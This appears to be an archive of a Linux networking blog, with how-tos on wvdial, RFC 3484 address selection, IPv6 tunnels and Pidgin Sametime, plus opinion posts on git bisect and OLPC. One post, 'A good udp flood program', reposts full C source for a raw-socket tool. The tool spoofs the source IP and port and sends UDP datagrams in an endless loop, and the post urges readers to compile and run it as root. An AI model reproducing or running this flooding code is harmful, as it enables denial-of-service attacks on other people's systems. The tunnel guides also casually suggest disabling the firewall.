Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Modem Type = Analog Modem
Phone = #777
ISDN = 0
Password = internet
New PPPD = yes
Username = internet
Stupid Mode = 1
Inherits = Modem 0

3. Run
$sudo wvdial

You will see your primary and secondary DNS getting set.
Now you are set.

Note: The data card is of Huawei make.

Also for the TATA Plug2Surf USB modem to work;
Insert you modem in and do a
$dmesg

You will see some messages with /dev/ttyACM1.
Just replace /dev/ttyUSB0 with this in the above mentioned files.

Thanks to varun for showing me this method

Default Address Selection Part 1

2008-04-21T02:46:00.000-07:00

If you are familiar with ipv6 then you'd be aware that default address selection is a very important concept. It was defined in RFC 3484 . Due to space constraint, i have decided to split this topic into 2 parts. The first part will deal with just introduction and how to use this feature. The second part will explain the kernel/glibc internals involved in this implementation. Hope i will write the second part soon. Its advisable to read the RFC before proceeding. To give a brief idea of what default address selection is, i would like to take an example of a host having multiple ipv6 address and needing to decide which address to be used for communication. For a communication to happen there must be a source address and destination address, but the problem arises when there are multiple source and destination address to select from. IPv6 by default allows a hosts to configure multiple addresses, so there is a need for an algorithm to sort this list. We can broadly classify default address selection into 2 types:

1) Default source address selection
2) Default destination address selection

Say a host A wants to communicate with another host B (can be external/internal system), it needs to know the destination ip of host B. To get the destination ip, a dns query is sent to the configured dns server and the response is taken as destination ip. What if the dns reply has multiple ip's to the same domain name? That is when destination address selection comes into picture. Now that we "somehow" selected the destination ip, we now need to select appropriate source ip. A question that might arise is, why do we need to do that? Cant we just pick the first ip from the list of source ip's and start the communication? The answer is no. This is because IPv6 ip's can be link-local , site-local or global ip. If the destination ip is a global ip and first source ip we select from the list is a link-local ip then obviously the communication cannot happen because of scope mismatch. So we need some intelligent algorithm to select the correct source ip.

Another interesting aspect in destination address selection is to decided which ip to use if the dns query returns an IPv4 as well as IPv6 address. There needs to be some factor to decide this selection. More on all this in Part 2 :-) . So, we have a situation where these addresses are selected based on a certain criteria. By default the criteria's are as per RFC. For most users this should hold good, but what if it needs to be changed? Let's say by default, IPv6 address is given more precedence than IPv4 , but the administrator wants IPv4 as higher precedence. In these cases there needs to be a way to configure source address selection and destination address selection. For this reason RFC defines User Configuration Tables for Source/Destination selection.
Before we go into the configuration tables lets look at a basic fact. The source address selection is implemented in the kernel and destination address selection in glibc. Wonder why? The reason is very simple. Glibc implements dns query api's like gethostbyname and family which triggers the dns query. So it is obvious that this api will get all the replies as well. It makes sense to implement the algorithm in glibc api's.

Lets look at the user configuration tables for both source address selection and destination address selection. There is an interesting article from the glibc maintainer Ulrich Drepper . You can find the article here .

Basic Requirements:

- Linux Kernel 2.6.24 or higher
- iproute2 utilities compiled for 2.6.24 (Check to see if "#ip help" supports 'addrlabel')
Once we have the prerequisites we are good to go.

User Configuration Table For Source Address Selection :
[root@t6018ab-009124035140 ip]# ./ip addrlabel show
prefix ::1/128 label 0
prefix ::/96 label 3
prefix ::ffff:0.0.0.0/96 label 4
prefix 2001::/32 label 6
prefix 2002::/16 label 2
prefix fc00::/7 label 5
prefix ::/0 label 1

This is the default source address user configuration table. The "label" field is a very important aspect of the table. The prefix with lower label value is given higher preference than the one with higher. For example prefix ::1 is given the highest preference when it is prefix label matching.
Lets say we have two prefix of same type
prefix 2003:470:1f00:ffff::4/64 label 8
prefix 2003:470:1f00:ffff::5/64 label 8
Source Address Selection List:
2003:470:1f00:ffff::4
2003:470:1f00:ffff::5
2003:470:1f00:ffff::6

Destination Address
2003:470:1f00:ffff::7

Irrespective of the order of the source address list the ip 2003:470:1f00:ffff::6 will be selected as the correct source candidate since the other two address have a label value of 8 where as 2003:470:1f00:ffff::6 will pass on the rule "prefix ::/0 label 1". Thus the lowest label value will be given higher priority. We can play around with giving different label value to different prefixes. Since source address selection works in conjunction with destination address selection ,we shall look into testing this aspect a little later.

User Configuration Table For Destination Address Selection :

The destination address user configuration table is based on a conf file called gai.conf. This is placed in /etc/. Distros dont place this file here for a certain reason. For more information please read the article by Ulrich Drepper as stated above. In my system the gai.conf file is located in /usr/share/doc/glibc-common-2.6/gai.conf. This file must be coped to /etc/ if you intend to change the default behavior.

A typical gai.conf file

# label
# Add another rule to the RFC 3484 label table. See section 2.1 in
# RFC 3484. The default is:
#
#label ::1/128 0
#label ::/0 1
#label 2002::/16 2
#label ::/96 3
#label ::ffff:0:0/96 4
#label fec0::/10 5
#label fc00::/7 6

#

# precedence
# Add another rule the to RFC 3484 precedence table. See section 2.1
# and 10.3 in RFC 3484. The default is:
#
#precedence ::1/128 50
#precedence ::/0 40
#precedence 2002::/16 30
#precedence ::/96 20
#precedence ::ffff:0:0/96 10
#
# For sites which prefer IPv4 connections change the last line to
#
#precedence ::ffff:0:0/96 100

For destination address selection, two main criteria's to be considered are label and precedence. It must always be remembered that precedence is associated with destination address selection only. Where as label is common for both source and destination address selection. It is for this reason both the tables must remain in sync for correct result.

Testing Destination Address Selection

To test destination selection algorithm we need to write a small program to test it. The best way to test the destination address selection algorithm is to use the examples given in RFC 3484. See section 10.2

Few Requirements:

- Add a entry "multi on" in /etc/host.conf
- Stop the name service caching daemon (service nscd stop)
- Compile the program given below (This will test the result of default address selection)

#include <errno.h>
#include <error.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>

char buf[INET6_ADDRSTRLEN];

int
main(int argc, char *argv[])
{
int err;
struct addrinfo *ai;
struct addrinfo hints;
struct addrinfo *runp;
int sock;

memset(&hints, '\0', sizeof(hints));
hints.ai_protocol = IPPROTO_TCP;

// dummy gethostbyname call so that /etc/host.conf is read
gethostbyname(argv[1]);

err = getaddrinfo(argv[1], "", &hints, &ai);
if (err != 0)
error(EXIT_FAILURE, 0, "getaddrinfo(%d): %s", err,
gai_strerror(err));
runp = ai;
while (runp != NULL) {
getnameinfo(runp->ai_addr, runp->ai_addrlen, buf,
INET6_ADDRSTRLEN, NULL, 0, NI_NUMERICHOST);

printf("family:%2d socktype:%2d protocol:%3d addr:%s(%d)\n",
runp->ai_family, runp->ai_socktype, runp->ai_protocol,
buf, runp->ai_addrlen);
runp = runp->ai_next;
}

freeaddrinfo(ai);
}

Example taken from section 10.2 of the RFC:
Candidate Source Addresses: 2001::2 or fec0::2 or fe80::2
Destination Address List: 2001::1 or fec0::1 or fe80::1
Result: fe80::1 (src fe80::2) then fec0::1 (src fec0::2) then 2001::1 (src 2001::2) (prefer smaller scope)

The destination address selection will be demonstrated using a example from RFC.
The first step is to add multiple dns entry in the dns server. This is big process, so i will use /etc/hosts file to make things simple (This works similar to dns server replies).

So add the following in /etc/hosts
fec0::1 rockon
2001::1 rockon
fe80::1 rockon

Add source addresses to the interface
#ip -6 addr add 2001::2 dev eth0
Similarly for fec0::2 and fe80::2

Next step is to make sure every destination route added in /etc/hosts must have valid route entry. Else the above will not work.
For Eg : fec0::1 is the destination ip. So the algorithm will choose this only if we have a valid route for this ip.
#ip -6 route add fec0::1 dev eth0
Similarly add routes for the other destination candidates.

To execute the program
#./a.out rockon
family:10 socktype: 1 protocol: 6 addr:fe80::1(28)
family:10 socktype: 1 protocol: 6 addr:fec0::1(28)
family:10 socktype: 1 protocol: 6 addr:2001::1(28)

The result shows the order in which destination addresses are sorted. Rest of the examples can be tried out. The destination user configuration table (gai.conf) can be modified to see different results.

Testing Source Address Selection :

Lets look at how to test source address selection functionality. The best way to do so is to follow the test cases specified in RFC 3484. See section 10.1.
For testing source address selection use ping6.

Example taken from section 10.1 of the RFC
Destination: 2001::1
Candidate Source Addresses: 3ffe::1 or fe80::1
Result: 3ffe::1 (prefer appropriate scope)

Configure IPv6 address for interface eth0
#ip -6 addr add 3ffe::1 dev eth0
fe80::1 can be ignored as you will have by default a linklocal address
Add a valid route to the destination ip.
#ip -6 route add 2001::1 dev eth0
#ping6 2001::1

The result will be destination unreachable if 2001::1 doesnt exits. But thats not our issue. The unreachable message will show what source address is selected. This is how one can test the source address selection algorithm. Try out all the different examples given in RFC.Now, by tweaking the user configuration table as mentioned in "User Configuration Table For Source Address Selection" we can modify the behavior.

Hope this little write was useful in understanding how address selection works. In the part 2 article i will explain how the algorithm work.

Update: Thanks to Brandon for pointing out a mistake in the post. Check comments for details.

Division Between Users And Kernel Hackers On Git Bisect

2008-04-17T06:21:00.000-07:00

The source code management tool git has come under scanner again. This time for a different reason. Flame war's are pretty common in linux community. Everytime there is a divided opinion on certain things, it unlocks a fury of mails from the community guru's. What happened this time is no different. It all started when Mark Lord reported a regression in the network stack. Even after a few mail exchanges it was not clear what the cause of problem was. So the netdev guru's asked Mark to "bisect" and arrive at the culprit patch. Mark responded furiously saying that he didnt have time or inclination to do such a thing. He argued that he was only a bug reporter and is not his job to do the bisection. This triggered the whole issue of who does what. It was exchange of heated arguments over mail and few humorous stories to support the claims. No one can forget the "Doctor Patient" story. To sum up the argument, main focus of this whole episode was who is responsible for such regressions. Lets know a little bit of git bisect. Git bisect is used to find a possible cause of the problem. It works on a simple principle, the bug hunter has to know which kernel is working well and which has bug. For example, 2.6.24 is not having any problem but 2.6.25 does, in this case one can use bisect to choose a version somewhere in the middle of these two release. Once done, the bug is to be verified and if found, git bisect has to be run again with the first half release. To make things easy take the same example as above. Bisecting this showed that 2.6.25-rc4 had the issue. So its now clear that the bug was introduced somewhere between 2.6.24 and 2.6.25-rc4. So running git bisect will narrow down even further and this will continue till we narrow down on a particular commit. This will help identify the bug. But the process is time consuming. To lay fact down plain and simple, git bisect need not necessarily narrow down on the correct patch which causes the problem. There is a possibility that problem was created else where and came into light on introducing this "culprit" patch. So this is not a sure shot way to identify the problem. In our issue Mark states that a user identifying a problem must only report it and that where his/her duty ends. It is upto the individual user to do some more homework and help the developers fix the bug. The developers argue that user will be asked to bisect as a last resort. By forcing users to do more work than just reporting bug can cause them to stop reporting bugs which is not a good thing for the community. On the other hand well known kernel hackers like David Miller claims that it is unavoidable sometimes due to unavailability of hardware the user had used in his environment. This requires the user to cooperate in this effort. As one can see, both side do have a strong point to argue. Its difficult to take sides here. This can become a major issue if not resolved quickly. Some suggestions made by Al Viro and James Morris suggest that the subsystem maintainers need to be more careful in committing patches. This can avoid most regression. Another question that was discussed was, how does a user decide which are "real" bugs? What happens in a complex code like the kernel is, bugs can arise due to some faulty hardware which nobody else faces. When that happens it is virtually impossible to fix it. In such cases the bug remains unfixed. It only come to light if multiple users complain of the same problem. The community urged its users to properly test before posting bugs on the mailing list. The story has not concluded yet as there is no clear solution to this problem. It is left to be seen as to how the community will tackle this issue.

A good udp flood program

2008-03-24T01:16:00.000-07:00

I found this code on the internet sometime back. Iam not taking the credit of the original author. Its only a another place for me to host the code :)

/*

From B.O.S. 2/05/96

I noticed someone mentioning the echo port. My advice is to disable the
echo service completely. It is often used by hackers to hang a computer.

Try sending a packet from port 7 your ip to port 7 your ip.

The system will bounce the packet back and forth slowing the system
drastically.

A Hacker Program I have seen used to do this is called arnudp.c

*/

/************************************************************************/
/* arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk */
/* Sends a single udp datagram with the source/destination address/port */
/* set to whatever you want. Unfortunately Linux 1.2 and SunOS 4.1 */
/* don't seem to have the IP_HDRINCL option, so the source address will */
/* be set to the real address. It does however work ok on SunOS 5.4. */
/* Should compile fine with just an ANSI compiler (such as gcc) under */
/* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra */
/* libraries on the command line: */
/* /usr/ucb/cc -o arnudp arnudp001.c -lsocket -lnsl */
/* I'll state the obvious - this needs to be run as root! Do not use */
/* this program unless you know what you are doing, as it is possible */
/* that you could confuse parts of your network / internet. */
/* (c) 1995 Arny - I accept no responsiblity for anything this does. */
/************************************************************************/
/* I used the source of traceroute as an example while writing this. */
/* Many thanks to Dan Egnor (egnor@ugcs.caltech.edu) and Rich Stevens */
/* for pointing me in the right direction. */
/************************************************************************/

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<stdlib.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

struct sockaddr sa;

main(int argc,char **argv)
{
int fd;
int x=1;
struct sockaddr_in *p;
struct hostent *he;
u_char gram[38]=
{
0x45, 0x00, 0x00, 0x26,
0x12, 0x34, 0x00, 0x00,
0xFF, 0x11, 0, 0,
0, 0, 0, 0,
0, 0, 0, 0,

0, 0, 0, 0,
0x00, 0x12, 0x00, 0x00,

'1','2','3','4','5','6','7','8','9','0'
};

if(argc!=5)
{
fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\n",*argv);
exit(1);
};

if((he=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"can't resolve source hostname\n");
exit(1);
};
bcopy(*(he->h_addr_list),(gram+12),4);

if((he=gethostbyname(argv[3]))==NULL)
{
fprintf(stderr,"can't resolve destination hostname\n");
exit(1);
};
bcopy(*(he->h_addr_list),(gram+16),4);

*(u_short*)(gram+20)=htons((u_short)atoi(argv[2]));
*(u_short*)(gram+22)=htons((u_short)atoi(argv[4]));

p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));
if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
{
perror("socket");
exit(1);
};

#ifdef IP_HDRINCL
fprintf(stderr,"we have IP_HDRINCL :-)\n\n");
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
{
perror("setsockopt IP_HDRINCL");
exit(1);
};
#else
fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");
#endif
x:
if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)
{
perror("sendto");
exit(1);
};
goto x;
printf("datagram sent without error:");
for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
{
if(!(x%4)) putchar('\n');
printf("%02x",gram[x]);
};
putchar('\n');

}

Compile and execute as root

HOWTO: ipv6-ipv6 tunnel and ip4-ipv6 tunnel in linux

2008-02-16T08:27:00.000-08:00

I had an requirement to setup an ipv6-ipv6 tunnel and ipv4-ipv6 tunnel and i found that there were very few howto's that were worth it. So i decided to write this blog to get people started with ipv6 tunneling.

Figure 1

-What is a IPv6 Tunnel?

A tunnel is a virtual device used to encapsulate any type of packet into a network aware packet type. That is, i can send any ipv4 type of packets over an ipv6 network. For more information click here.

-Types of IPv6 Tunnels:

-ipv6 - ipv6 Tunnel (ipv6 over ipv6 tunnel)

-ipv4 - ipv6 Tunnel (ipv4 over ipv6 tunnel)

-Requirements:

- Any distro with kernel version 2.6.22 or above.

Note : The ipv4 over ipv6 feature was introduced only in 2.6.22 kernel. Older kernels wont work.

- iproute2 package. Most distro's package the "ip" command. It is to be noted that at the time of writing this blog, most distro's with ip command didnt support ipv4 over ipv6. If thats is the case please download the latest packages from here. For the developers, download from the git repo here.

-Steps to create a ipv6-ipv6 tunnel:

1) Configure Host A of Private Network A :

The configurations:

eth0: ipv6 address : 3001:470:1f00:fff::189

The node "Host A" must be having an ipv6 address. Even an linklocal address is ok.

Add the ip address to the interface if it is not configured already.

#ip -6 addr add 3001:470:1f00:ffff::189 dev eth0

#ip -6 route add 3001::/4 dev eth0

Add the default route to reach the router.

#ip -6 route add default via 3001:470:1f00:ffff::190 dev eth0

2) Configure Host B of Private Network B :

The configurations:

eth0: ipv6 address : 5001:470:1f00:fff::189

The node "Host A" must be having an ipv6 address. Even an linklocal address is ok.

Add the ip address to the interface if it is not configured already.

#ip -6 addr add 5001:470:1f00:ffff::189 dev eth0

#ip -6 route add 5001::/4 dev eth0

Add the default route to reach the router.

#ip -6 route add default via 5001:470:1f00:ffff::190 dev eth0

3) Configure Router A : (I Assume that your router is a linux box with 2 interfaces)

The configurations:

eth0 : ipv6: 3001:470:1f00:ffff::190

eth1 : ipv6: 2001:470:1f00:ffff::190

mytun : ipv6 : 4001:470:1f00:ffff::190

The router "Router A" must be having two physical interfaces with a ipv6 address each as shown above .

Add the ip address to the interface eth0 if it is not configured already.

#ip -6 addr add 3001:470:1f00:ffff::190 dev eth0

Add the ip address to the interface eth1 if it is not configured already.

#ip -6 addr add 2001:470:1f00:ffff::190 dev eth1

Add the route for each interface.

#ip -6 route add 3001::/4 dev eth0

#ip -6 route add 2001::/4 dev eth1

Now to setup the tunnel, we need to make sure we have the right module installed.

A simple modprobe will get you going.

#modprobe ip6_tunnel

Incase the above command results in error then check if it is statically compiled. If it is, then your output for "ifconfig -a" must be as shown below.

Figure 2

If you can see 'ip6tnl0' as one of the interfaces then you are good to go. Else you need to enable that module and compile the kernel.

Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network A and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.

#ip -6 tunnel add mytun mode ip6ip6 remote 2001:470:1f00:ffff::189 local 2001:470:1f00:ffff::190 dev eth1

Bring up the link of the interface

#ip link set dev mytun up

Assign an address to our virtual tunnel device.

#ip -6 addr add 4001:470:1f00:ffff::190 dev mytun

The most important step is to redirect all the traffic to our tunnel.

#ip -6 route add 5001::/4 dev mytun

Since we are using a normal linux system as router we have to enable forwarding.

#echo “1” > /proc/sys/net/ipv6/conf/all/forwarding

4) Configure Router B : (I Assume that your router is a linux box with 2 interfaces)

The configurations:

eth0 : ipv6: 5001:470:1f00:ffff::190

eth1 : ipv6: 2001:470:1f00:ffff::189

mytun : ipv6 : 6001:470:1f00:ffff::190

The router "Router B" must be having two physical interfaces with a ipv6 address each as

shown above .

Add the ip address to the interface eth0 if it is not configured already.

#ip -6 addr add 5001:470:1f00:ffff::190 dev eth0

Add the ip address to the interface eth1 if it is not configured already.

#ip -6 addr add 2001:470:1f00:ffff::189 dev eth1

Add the route for each interface.

#ip -6 route add 5001::/4 dev eth0

#ip -6 route add 2001::/4 dev eth1

Now to setup the tunnel, we need to make sure we have the right module installed.

A simple modprobe will get you going.

#modprobe ip6_tunnel

Incase the above command results in error then check if it is statically compiled. If it is, then your output for "ifconfig -a" must be as shown in

figure 2.

Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network B and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.

#ip -6 tunnel add mytun mode ip6ip6 remote 2001:470:1f00:ffff::190 local 2001:470:1f00:ffff::189 dev eth1

Bring up the link of the interface

#ip link set dev mytun up

Assign an address to our virtual tunnel device.

#ip -6 addr add 6001:470:1f00:ffff::190 dev mytun

The most important step is to redirect all the traffic to our tunnel.

#ip -6 route add 3001::/4 dev mytun

Since we are using a normal linux system as router we have to enable forwarding.

#echo “1” > /proc/sys/net/ipv6/conf/all/forwarding

5) Make sure the Firewalls are appropriately configured on the routers and hosts to allow tunneling. If you are in doubt, disable firewall and try.

6)Now you can ping6 across Node A and Node B via the tunnel.

-Steps to create a ipv4-ipv6 tunnel:

These types of tunnels are typically used in scenarios where we have two private ipv4 network and we wish to access then as same LAN network over an ipv6 internet. Although ipv6 has not yet established its self as the preferred protocol for the internet, its only matter of time. As of now we can find use in offices that have a mixture of ipv6 and ipv4 networks. If two ipv4 networks needed to be combined via an ipv6 backbone we can use this type of tunneling.

1) Configure Host A of Private Network A :

The configurations:

eth0: ipv4 address : 172.16.15.2

The node "Host A" must be having an ipv4 address.

Add the ip address to the interface if it is not configured already.

#ip addr add 172.16.15.2 dev eth0

Add default route showing the gateway as "Router A".

#ip route add default via 172.16.15.1 dev eth0

2) Configure Host A of Private Network B :

The configurations:

eth0: ipv4 address : 192.168.1.2

The node "Host B" must be having an ipv4 address.

Add the ip address to the interface if it is not configured already.

#ip addr add 192.168.1.2 dev eth0

Add default route showing the gateway as "Router A".

#ip route add default via 192.168.1.1 dev eth0

3) Configure Router A : (I Assume that your router is a linux box with 2 interfaces)

The configurations:

eth0 : ipv4:172.16.15.1

eth1 : ipv6: 2001:470:1f00:ffff::189

mytun : ipv6 : 4001:470:1f00:ffff::189

The router "Router A" must be having two physical interfaces with a ipv6 address and a ipv4 as shown above .

Add the ip address to the interface eth0 if it is not configured already.

#ip addr add 172.16.15.1 dev eth0

Add the ip address to the interface eth1 if it is not configured already.

#ip -6 addr add 2001:470:1f00:ffff::189 dev eth1

Add the route for interface eth1.

#ip -6 route add 2001::/4 dev eth1

Now to setup the tunnel, we need to make sure we have the right module installed.

A simple modprobe will get you going.

#modprobe ip6_tunnel

Incase the above command results in error then check if it is statically compiled. If it is, then

your output for "ifconfig -a" must be as shown in figure 2.

Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network B and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.

#ip -6 tunnel add mytun mode ipip6 remote 2001:470:1f00:ffff::190 local 2001:470:1f00:ffff::189 dev eth1

Bring up the link of the interface

#ip link set dev mytun up

Assign an address to our virtual tunnel device.

#ip -6 addr add 4001:470:1f00:ffff::189 dev mytun

The most important step is to redirect all the traffic to our tunnel.

#ip route add 192.168.1.0/24 dev mytun

Since we are using a normal linux system as router we have to enable forwarding.

#echo “1” > /proc/sys/net/ipv6/conf/all/forwarding

#echo "1" > /proc/sys/net/ipv4/ip_forward

4) Configure Router B : (I Assume that your router is a linux box with 2 interfaces)

The configurations:

eth0 : ipv4:192.168.1.1

eth1 : ipv6: 2001:470:1f00:ffff::190

mytun : ipv6 : 4001:470:1f00:ffff::190

The router "Router B" must be having two physical interfaces with a ipv6 address and a ipv4 as shown above .

Add the ip address to the interface eth0 if it is not configured already.

#ip addr add 192.168.1.1 dev eth0

Add the ip address to the interface eth1 if it is not configured already.

#ip -6 addr add 2001:470:1f00:ffff::190 dev eth1

Add the route for interface eth1.

#ip -6 route add 2001::/4 dev eth1

Now to setup the tunnel, we need to make sure we have the right module installed.

A simple modprobe will get you going.

#modprobe ip6_tunnel

Incase the above command results in error then check if it is statically compiled. If it is, then your output for "ifconfig -a" must be as shown in

figure 2.

Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network B and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.

#ip -6 tunnel add mytun mode ipip6 remote 2001:470:1f00:ffff::189 local 2001:470:1f00:ffff::190 dev eth1

Bring up the link of the interface

#ip link set dev mytun up

Assign an address to our virtual tunnel device.

#ip -6 addr add 4001:470:1f00:ffff::190 dev mytun

The most important step is to redirect all the traffic to our tunnel.

#ip route add 172.16.15.0/24 dev mytun

Since we are using a normal linux system as router we have to enable forwarding.

#echo “1” > /proc/sys/net/ipv6/conf/all/forwarding

#echo "1" > /proc/sys/net/ipv4/ip_forward

5) Make sure the Firewalls are appropriately configured on the routers and hosts to allow tunneling. If you are in doubt, disable firewall and try.

6)Now you can ping6 across Node A and Node B via the tunnel.

With these two methods we can successfully connect ipv4 networks to ipv6.

Getting Pidgin To Support SameTime Protocol

2008-01-31T00:55:00.000-08:00

I did'nt find many documents on getting pidgin to support Sametime protocol. So this guide is aimed at filling that gap. At the time of writing this document the pidgin version was 2.3.1. This can be downloaded from here. To get Sametime protocol working we need libmeanwhile installed. The library can be downloaded from here. But the best approach would be to install rpms/debs. You can find them in your distro extras. The libraries have dependencies on gnutls and gnutls-devel.
So this has to installed prior to installing libmeanwhile.

One libmeanwhile is set up, its time to install pidgin. Unzip pidgin and run the configure script.
#tar jxvf pidgin-2.3.1.tar.bz2
#cd pidgin-2.3.1/
Run the script
#./configure --prefix=/usr --with-gnutls-includes=/usr/include/gnutls/
--with-gnutls-libs=/usr/lib/
Make sure that sametime protocol is selected as the part of the configure script. You configure output must be as follows:

pidgin 2.3.1

Build GTK+ 2.x UI............. : yes
Build console UI.............. : yes
Build for X11................. : yes

Enable Gestures............... : yes
Protocols to build dynamically : gg irc jabber msnp9 myspace novell oscar qq sametime simple yahoo zephyr
Protocols to link statically.. :

Build with GStreamer support.. : no
Build with D-Bus support...... : yes
D-Bus services directory...... : /usr/share/dbus-1/services
Build with NetworkManager..... : no
SSL Library/Libraries......... : Mozilla NSS
Build with Cyrus SASL support. : no
Use kerberos 4 with zephyr.... : no
Use external libzephyr........ : no
Has you....................... : yes

Use XScreenSaver Extension.... : yes
Use X Session Management...... : yes
Use startup notification...... : yes
Build with GtkSpell support... : yes

Build with plugin support..... : yes
Build with Mono support....... : no
Build with Perl support....... : yes
Build with Tcl support........ : yes
Build with Tk support......... : yes

Print debugging messages...... : no

Pidgin will be installed in /usr/bin.

Now, to compile the program
#make

Then install (needs root privilege).
#sudo make install

Its time to start pidgin.
#pidgin&

Once pidgin starts, you can create your sametime account as shown in the figure.

Next step is to make some advanced configuration as shown in figure.

Note: For the newer Sametime servers, its necessary that client id is shielded. So please tick on "Hide client identity"

After that save the account and close pidgin (Pidgin continues to run in the system tray. Make sure you kill that).
Its been observed that there were some problems with pidgin authenticating to the server.
There is a hack to get around this bug.
Open the file ~/.purple/accounts.xml
Search the file for "prpl-meanwhile"
Under the <settings> of this sametime account add the following line
<setting name='client_major' type='int'>30</setting>
<setting name='client_minor' type='int'>6511</setting>
<setting name='client_id_val' type='int'>4098</setting>

Common Problem Faced:
You might encounter a problem that looks like this "pidgin : symbol lookup error: pidgin : undefined symbol : purple_core_ensure_single_instance"
This problem is commonly due to the fact that you have previous version of pidgin installed. To solve this problem, do a "make uninstall" on the source directory of older pidgin. In case you have deleted the source directory then, remove the pidgin folder in /usr/local/lib/ as well as /usr/local. If its an rpm the do uninstall pidgin using -e option. Then reinstall the newly compiled pidgin by doing "make install".This must solve the problem.

OLPC Project Going Microsoft Way

2008-01-28T03:23:00.000-08:00

The new year started with a bad news. Microsoft has got its way as far as OLPC is concerned. They have decided to go on a dual boot system with linux as one of the options. For those who do not know about OLPC, Its a project started to provide a low cost laptops to poor children. The laptop should cost around Rs.15000. It is supposed to have a turbo charger which can be attached to a bicycle and charged. The laptop is expected to have linux as primary OS.

Along came Microsoft to poke its nose. They wanted win xp to run on OLPC. They were generous enough to port the OS themselves and avoid troubles for the OLPC team. If we analyze the need for Microsoft to interfere with the OLPC is simply to avoid third world children from using linux. Microsoft is jealous and simply can't stand the next generation learning something new that might be against Microsoft. The reason given by Microsoft for the move is to benefit "Bill & Melinda Gates Foundation". Iam not going to buy this reason. What is even sadder is the fact that their are many people supporting this move. People blindly believe that Microsoft products are easy to use and faster. Unfortunately its far from the truth. Most of windows user by now realize that they cannot run the OS without an anti-virus software. And its a know fact that most Antivirus software takes up a lot of system resources. How can winxp work well on a low performing hardware such as OLPC with antivirus? So, the bottom line is that even though the winxp might work well on OLPC the additional software load to keep the OS safe is going to pull down the performance. You would'nt want children to be spending most of their time removing virus and formating systems. The alternate OS, linux, comes really handy here. Its free , easily customizable and light weight. So lets hope the Big Microsoft Bully stops this madness and do something constructive by letting OLPC go the original way.

Sitemap

2001-01-22T05:50:00.000-08:00

Select Category: